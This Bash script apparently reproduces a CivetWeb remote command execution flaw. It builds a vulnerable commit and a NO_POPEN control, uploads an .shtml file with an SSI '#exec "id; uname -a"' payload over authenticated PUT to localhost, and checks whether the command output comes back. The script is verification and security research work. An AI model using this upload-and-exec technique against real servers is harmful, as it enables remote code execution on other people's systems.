#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"
mkdir -p "$ARTIFACTS"

# Overwrite this run's log each time the script is invoked.
exec > >(tee "$LOGS/reproduction_steps.log")
exec 2>&1

log() { echo "[REPRO] $(date -Iseconds) $*"; }

# ---------------------------------------------------------------------------
# Project cache / repository setup
# ---------------------------------------------------------------------------
CACHE_CTX="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR="$ROOT/artifacts/civetweb"
if [ -f "$CACHE_CTX" ]; then
    PROJECT_CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX" || true)"
    if [ -z "$PROJECT_CACHE_DIR" ]; then
        PROJECT_CACHE_DIR="$ROOT/artifacts/civetweb"
    fi
fi
REPO="$PROJECT_CACHE_DIR/repo"
UPSTREAM_URL="https://github.com/civetweb/civetweb.git"

log "Project cache dir: $PROJECT_CACHE_DIR"
log "Repo path: $REPO"

# The ticket names commit 588860e3 as the vulnerable version. That commit
# contains a build-breaking syntax error in src/civetweb.c (get_request) and
# cannot be compiled. We use its immediately preceding parent (588860e3^1)
# which contains the same vulnerable SSI #exec / PUT code path.
TARGET_COMMIT="588860e3"
VULN_COMMIT_REF="588860e3^1"

if [ ! -d "$REPO/.git" ]; then
    log "Cloning civetweb repository..."
    mkdir -p "$PROJECT_CACHE_DIR"
    git clone --depth 100 "$UPSTREAM_URL" "$REPO"
fi

cd "$REPO"
log "Fetching origin..."
git fetch origin || true

TARGET_COMMIT_FULL="$(git rev-parse "$TARGET_COMMIT")"
VULN_COMMIT_FULL="$(git rev-parse "$VULN_COMMIT_REF")"
log "Ticket-named commit: $TARGET_COMMIT ($TARGET_COMMIT_FULL)"
log "Working vulnerable commit: $VULN_COMMIT_REF ($VULN_COMMIT_FULL)"

# ---------------------------------------------------------------------------
# Helpers: export a commit into a clean source tree and build it
# ---------------------------------------------------------------------------
export_source() {
    local commit="$1"
    local target="$2"
    rm -rf "$target"
    mkdir -p "$target"
    cd "$target"
    git -C "$REPO" archive --format=tar "$commit" | tar -x
}

build_dir() {
    local src_dir="$1"
    local extra_flags="${2:-}"
    cd "$src_dir"
    make clean 2>/dev/null || true
    if [ -n "$extra_flags" ]; then
        make -j"$(nproc)" WITH_CFLAGS="$extra_flags" 2>&1 | tee build.log
    else
        make -j"$(nproc)" 2>&1 | tee build.log
    fi
    test -x civetweb
}

VULN_BUILD="$PROJECT_CACHE_DIR/build-vuln"
FIXED_BUILD="$PROJECT_CACHE_DIR/build-fixed"

log "Exporting vulnerable source to $VULN_BUILD"
export_source "$VULN_COMMIT_FULL" "$VULN_BUILD"
log "Building vulnerable binary..."
build_dir "$VULN_BUILD" ""

log "Exporting fixed source to $FIXED_BUILD"
export_source "$VULN_COMMIT_FULL" "$FIXED_BUILD"
log "Building fixed binary (NO_POPEN)..."
build_dir "$FIXED_BUILD" "-DNO_POPEN"

log "Vulnerable binary: $VULN_BUILD/civetweb"
log "Fixed binary: $FIXED_BUILD/civetweb"

# ---------------------------------------------------------------------------
# Run a single PUT/GET attempt against a CivetWeb binary
# ---------------------------------------------------------------------------
run_attempt() {
    local bin="$1"
    local port="$2"
    local role="$3"
    local attempt="$4"
    local test_dir="$PROJECT_CACHE_DIR/test-${role}-${attempt}"
    local docroot="$test_dir/docroot"
    local passwd="$test_dir/passwd.txt"
    local out_dir="$ARTIFACTS/${role}-attempt${attempt}"
    mkdir -p "$docroot" "$out_dir"

    # Digest password file: user:realm:md5(user:realm:password)
    local hash
    hash="$(printf '%s' "admin:mydomain.com:password" | md5sum | awk '{print $1}')"
    printf 'admin:mydomain.com:%s\n' "$hash" > "$passwd"

    local pid
    "$bin" -listening_ports "$port" \
        -document_root "$docroot" \
        -put_delete_auth_file "$passwd" \
        -authentication_domain mydomain.com \
        > "$out_dir/server.log" 2>&1 &
    pid=$!
    log "$role attempt $attempt server PID $pid on port $port"

    local healthy=0
    for i in $(seq 1 30); do
        if curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:"$port" 2>/dev/null | grep -q '^200$'; then
            healthy=1
            break
        fi
        sleep 0.2
    done

    if [ "$healthy" -eq 0 ]; then
        log "$role attempt $attempt failed to become healthy"
        kill "$pid" 2>/dev/null || true
        wait "$pid" 2>/dev/null || true
        return 1
    fi

    log "$role attempt $attempt healthy"

    # PUT the .shtml payload
    curl -s --max-time 5 --digest -u admin:password -X PUT \
        --data-binary '<!--#exec "id; uname -a" -->' \
        http://127.0.0.1:"$port"/pwn.shtml \
        -o "$out_dir/put_body.txt" -D "$out_dir/put_headers.txt" \
        2> "$out_dir/put_stderr.txt" || true
    local put_status
    put_status="$(grep -E '^HTTP' "$out_dir/put_headers.txt" 2>/dev/null | tail -1 | awk '{print $2}' || true)"
    log "$role attempt $attempt PUT status: $put_status"

    # GET the uploaded file
    curl -s --max-time 5 --digest -u admin:password \
        http://127.0.0.1:"$port"/pwn.shtml \
        -o "$out_dir/get_body.txt" \
        -D "$out_dir/get_headers.txt" \
        2> "$out_dir/get_stderr.txt" || true
    local get_status
    get_status="$(grep -E '^HTTP' "$out_dir/get_headers.txt" 2>/dev/null | tail -1 | awk '{print $2}' || true)"
    log "$role attempt $attempt GET status: $get_status"
    log "$role attempt $attempt GET body:"
    tail -c 500 "$out_dir/get_body.txt" || true

    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
    return 0
}

run_attempt "$VULN_BUILD/civetweb" 8080 "vulnerable" 1 || true
run_attempt "$VULN_BUILD/civetweb" 8081 "vulnerable" 2 || true
run_attempt "$FIXED_BUILD/civetweb" 8082 "fixed" 1 || true
run_attempt "$FIXED_BUILD/civetweb" 8083 "fixed" 2 || true

# ---------------------------------------------------------------------------
# Evaluate evidence and write the runtime manifest
# ---------------------------------------------------------------------------
vuln1_has_cmd=false
vuln2_has_cmd=false
fixed1_has_cmd=false
fixed2_has_cmd=false

if [ -f "$ARTIFACTS/vulnerable-attempt1/get_body.txt" ] && \
   grep -q "uid=" "$ARTIFACTS/vulnerable-attempt1/get_body.txt" && \
   grep -q "Linux" "$ARTIFACTS/vulnerable-attempt1/get_body.txt"; then
    vuln1_has_cmd=true
fi
if [ -f "$ARTIFACTS/vulnerable-attempt2/get_body.txt" ] && \
   grep -q "uid=" "$ARTIFACTS/vulnerable-attempt2/get_body.txt" && \
   grep -q "Linux" "$ARTIFACTS/vulnerable-attempt2/get_body.txt"; then
    vuln2_has_cmd=true
fi

if [ -f "$ARTIFACTS/fixed-attempt1/get_body.txt" ] && \
   grep -q "uid=" "$ARTIFACTS/fixed-attempt1/get_body.txt" && \
   grep -q "Linux" "$ARTIFACTS/fixed-attempt1/get_body.txt"; then
    fixed1_has_cmd=true
fi
if [ -f "$ARTIFACTS/fixed-attempt2/get_body.txt" ] && \
   grep -q "uid=" "$ARTIFACTS/fixed-attempt2/get_body.txt" && \
   grep -q "Linux" "$ARTIFACTS/fixed-attempt2/get_body.txt"; then
    fixed2_has_cmd=true
fi

CONFIRMED=false
if [ "$vuln1_has_cmd" = true ] && [ "$vuln2_has_cmd" = true ] && \
   [ "$fixed1_has_cmd" = false ] && [ "$fixed2_has_cmd" = false ]; then
    CONFIRMED=true
fi

log "Vulnerable attempt 1 command output: $vuln1_has_cmd"
log "Vulnerable attempt 2 command output: $vuln2_has_cmd"
log "Fixed attempt 1 command output: $fixed1_has_cmd"
log "Fixed attempt 2 command output: $fixed2_has_cmd"
log "Overall confirmation: $CONFIRMED"

HEALTHY=true
if [ ! -f "$ARTIFACTS/vulnerable-attempt1/get_body.txt" ] || \
   ! grep -qE '^HTTP' "$ARTIFACTS/vulnerable-attempt1/get_headers.txt" 2>/dev/null; then
    HEALTHY=false
fi

TARGET_REACHED=false
if [ "$vuln1_has_cmd" = true ] || [ "$vuln2_has_cmd" = true ]; then
    TARGET_REACHED=true
fi

if [ "$CONFIRMED" = true ]; then
    NOTES="Authenticated PUT upload of .shtml containing SSI #exec followed by GET executed the command (id; uname -a) and returned the output in both vulnerable attempts. The NO_POPEN build (fixed control) did not return command output in either attempt."
    EXIT_CODE=0
else
    NOTES="Could not confirm the vulnerability with the required two vulnerable / two fixed attempt pattern. See artifacts and logs."
    EXIT_CODE=1
fi

jq -n \
    --arg kind "api_remote" \
    --arg detail "HTTP PUT upload of .shtml then GET /pwn.shtml on CivetWeb" \
    --argjson service_started "$HEALTHY" \
    --argjson healthcheck_passed "$HEALTHY" \
    --argjson target_path_reached "$TARGET_REACHED" \
    --argjson vuln1 "$vuln1_has_cmd" \
    --argjson vuln2 "$vuln2_has_cmd" \
    --argjson fixed1 "$fixed1_has_cmd" \
    --argjson fixed2 "$fixed2_has_cmd" \
    --argjson confirmed "$CONFIRMED" \
    --arg notes "$NOTES" \
    '{
        entrypoint_kind: $kind,
        entrypoint_detail: $detail,
        service_started: $service_started,
        healthcheck_passed: $healthcheck_passed,
        target_path_reached: $target_path_reached,
        vulnerable_attempt_1_executed: $vuln1,
        vulnerable_attempt_2_executed: $vuln2,
        fixed_attempt_1_blocked: ($fixed1 | not),
        fixed_attempt_2_blocked: ($fixed2 | not),
        runtime_stack: ["civetweb"],
        proof_artifacts: [
            "logs/reproduction_steps.log",
            "artifacts/vulnerable-attempt1/get_body.txt",
            "artifacts/vulnerable-attempt1/get_headers.txt",
            "artifacts/vulnerable-attempt1/server.log",
            "artifacts/vulnerable-attempt2/get_body.txt",
            "artifacts/vulnerable-attempt2/get_headers.txt",
            "artifacts/fixed-attempt1/get_body.txt",
            "artifacts/fixed-attempt1/get_headers.txt",
            "artifacts/fixed-attempt2/get_body.txt",
            "artifacts/fixed-attempt2/get_headers.txt"
        ],
        notes: $notes
    }' > "$REPRO_DIR/runtime_manifest.json"

log "Wrote runtime manifest: $REPRO_DIR/runtime_manifest.json"

if [ "$CONFIRMED" = true ]; then
    log "Reproduction succeeded."
    exit 0
else
    log "Reproduction inconclusive or failed."
    exit 1
fi
